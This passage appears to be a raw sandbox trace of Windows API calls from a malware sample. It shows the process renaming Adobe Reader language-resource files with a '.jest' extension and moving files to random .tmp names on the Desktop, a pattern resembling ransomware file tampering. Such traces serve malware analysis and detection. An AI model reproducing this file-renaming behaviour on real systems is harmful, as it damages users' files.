lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt", lpFilePart=0x18e708*="DisplayLanguageNames.it_IT.txt") returned 0x6b [0150.749] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhtolf7cuoyxue7rzgmzm7pxjl2iek3z0mv3nhwk0ju4s67rvwf3vqpi-wqbf2ebag0mv84odovjozxwibbjcmbsvswf0nzwi72n_.tmp")) returned 0 [0150.749] GetLastError () returned 0x2 [0150.749] GetLastError () returned 0x2 [0150.749] SetLastError (dwErrCode=0x2) [0150.749] GetLastError () returned 0x2 [0150.749] SetLastError (dwErrCode=0x2) [0150.749] GetLastError () returned 0x2 [0150.749] SetLastError (dwErrCode=0x2) [0150.750] GetFullPathNameA (in: lpFileName="zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", lpFilePart=0x18e6e4*="zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp") returned 0x8f [0150.750] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zHtOLF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4f74487a, cFileName="LF7cUoYxuE7Rzgmzm7PXJl2iEK3Z0mv3NhwK0ju4s67rvWf3vqPi-Wqbf2EBAg0mv84odovjOZXwiBbjCmBsvsWf0nzWi72n_.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.750] GetLastError () returned 0x2 [0150.750] GetLastError () returned 0x2 [0150.750] SetLastError (dwErrCode=0x2) [0150.756] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.756] CoFreeUnusedLibraries () [0150.756] GetTickCount () returned 0x1157762 [0150.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.756] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.756] GetTickCount () returned 0x1157762 [0150.756] IsWindowVisible (hWnd=0x30268) returned 0 [0150.756] Sleep (dwMilliseconds=0x0) [0150.757] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt.jest")) returned 1 [0150.758] GetLastError () returned 0x0 [0150.758] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䍟⹈硴t") returned 0x6b [0150.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0150.758] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䍟⹈硴t") returned 0x6b [0150.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt") returned 108 [0150.758] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䍟⹈硴⹴敪瑳") returned 0x70 [0150.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0150.758] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䍟⹈硴⹴敪瑳") returned 0x70 [0150.758] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=113, lpWideCharStr=0x146c82c, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt.jest") returned 113 [0150.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", lpUsedDefaultChar=0x0) returned 108 [0150.759] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.it_CH.txt") returned 0x6b [0150.759] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x400000, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.759] GetLastError () returned 0x2 [0150.759] VarBstrFromR4 (in: fltIn=0x47945039, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.45") returned 0x0 [0150.760] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.760] CoFreeUnusedLibraries () [0150.760] GetTickCount () returned 0x1157762 [0150.760] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.760] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.760] GetTickCount () returned 0x1157762 [0150.760] IsWindowVisible (hWnd=0x30268) returned 0 [0150.760] Sleep (dwMilliseconds=0x0) [0150.760] GetFullPathNameA (in: lpFileName="k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", lpFilePart=0x18e708*="k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp") returned 0x8f [0150.761] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt", lpFilePart=0x18e708*="DisplayLanguageNames.it_CH.txt") returned 0x6b [0150.761] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7i9ty8zu-xrwqzx9j8guqn-ypre6tj6cn_tig9g6all8ic6854tseq8px -j08nil_csas6yy1v4rc1topi5bbjlbhle6ab7l2is.tmp")) returned 0 [0150.761] GetLastError () returned 0x2 [0150.761] GetLastError () returned 0x2 [0150.761] SetLastError (dwErrCode=0x2) [0150.761] GetLastError () returned 0x2 [0150.761] SetLastError (dwErrCode=0x2) [0150.761] GetLastError () returned 0x2 [0150.762] SetLastError (dwErrCode=0x2) [0150.762] GetFullPathNameA (in: lpFileName="k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", lpFilePart=0x18e6e4*="k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp") returned 0x8f [0150.762] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k7I9Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x3949376b, cFileName="Ty8ZU-XRwqzX9j8GuQN-YPrE6Tj6cn_TIG9G6All8Ic6854tSeQ8px -j08NIl_Csas6yY1V4RC1TOPI5BbjLbHlE6Ab7L2Is.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.762] GetLastError () returned 0x2 [0150.762] GetLastError () returned 0x2 [0150.762] SetLastError (dwErrCode=0x2) [0150.763] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.763] CoFreeUnusedLibraries () [0150.763] GetTickCount () returned 0x1157762 [0150.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.763] GetTickCount () returned 0x1157762 [0150.763] IsWindowVisible (hWnd=0x30268) returned 0 [0150.763] Sleep (dwMilliseconds=0x0) [0150.764] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt.jest")) returned 1 [0150.764] GetLastError () returned 0x0 [0150.765] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩琮瑸") returned 0x68 [0150.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0150.765] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩琮瑸") returned 0x68 [0150.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt") returned 105 [0150.765] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩琮瑸樮獥t") returned 0x6d [0150.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0150.765] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩琮瑸樮獥t") returned 0x6d [0150.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=110, lpWideCharStr=0x144eaec, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt.jest") returned 110 [0150.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", lpUsedDefaultChar=0x0) returned 105 [0150.765] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.it.txt") returned 0x68 [0150.765] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x5000005, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x14cf220, ftLastAccessTime.dwLowDateTime=0x1446100, ftLastAccessTime.dwHighDateTime=0x1436318, ftLastWriteTime.dwLowDateTime=0x28, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x2, nFileSizeLow=0x14cf138, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.765] GetLastError () returned 0x2 [0150.766] VarBstrFromR4 (in: fltIn=0x47945039, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.45") returned 0x0 [0150.766] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.766] CoFreeUnusedLibraries () [0150.766] GetTickCount () returned 0x1157762 [0150.766] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.766] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.766] GetTickCount () returned 0x1157762 [0150.766] IsWindowVisible (hWnd=0x30268) returned 0 [0150.766] Sleep (dwMilliseconds=0x0) [0150.767] GetFullPathNameA (in: lpFileName="epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", lpFilePart=0x18e708*="epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp") returned 0x8f [0150.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt", lpFilePart=0x18e708*="DisplayLanguageNames.it.txt") returned 0x68 [0150.768] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epcqslvwqbvgiqjbz i5wi-e wlul6hl0c-t-ttnpdq4j0kksfrg_3kbyewqlsewpwmyvsy5mfhuoge-hdcecfmjhrs6qobzikrm1.tmp")) returned 0 [0150.768] GetLastError () returned 0x2 [0150.768] GetLastError () returned 0x2 [0150.768] SetLastError (dwErrCode=0x2) [0150.768] GetLastError () returned 0x2 [0150.768] SetLastError (dwErrCode=0x2) [0150.768] GetLastError () returned 0x2 [0150.768] SetLastError (dwErrCode=0x2) [0150.769] GetFullPathNameA (in: lpFileName="epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", lpFilePart=0x18e6e4*="epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp") returned 0x8f [0150.769] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\epCqslvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x71437065, cFileName="slvwQbVgiqJBz i5WI-E wluL6HL0c-T-tTnpDq4J0kKsfRg_3kByeWQLSEwPwmYvSY5MfhuoGE-hDCEcFmJhRs6qoBZiKrM1.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.769] GetLastError () returned 0x2 [0150.769] GetLastError () returned 0x2 [0150.769] SetLastError (dwErrCode=0x2) [0150.769] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.769] CoFreeUnusedLibraries () [0150.769] GetTickCount () returned 0x1157771 [0150.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.770] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.770] GetTickCount () returned 0x1157771 [0150.770] IsWindowVisible (hWnd=0x30268) returned 0 [0150.770] Sleep (dwMilliseconds=0x0) [0150.770] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt.jest")) returned 1 [0150.771] GetLastError () returned 0x0 [0150.771] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟彔剐䕅剕⹏硴t") returned 0x73 [0150.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0150.771] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟彔剐䕅剕⹏硴t") returned 0x73 [0150.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=116, lpWideCharStr=0x144ddec, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt") returned 116 [0150.772] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟彔剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0150.772] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳瑩䥟彔剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0150.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=121, lpWideCharStr=0x144bb04, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt.jest") returned 121 [0150.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program 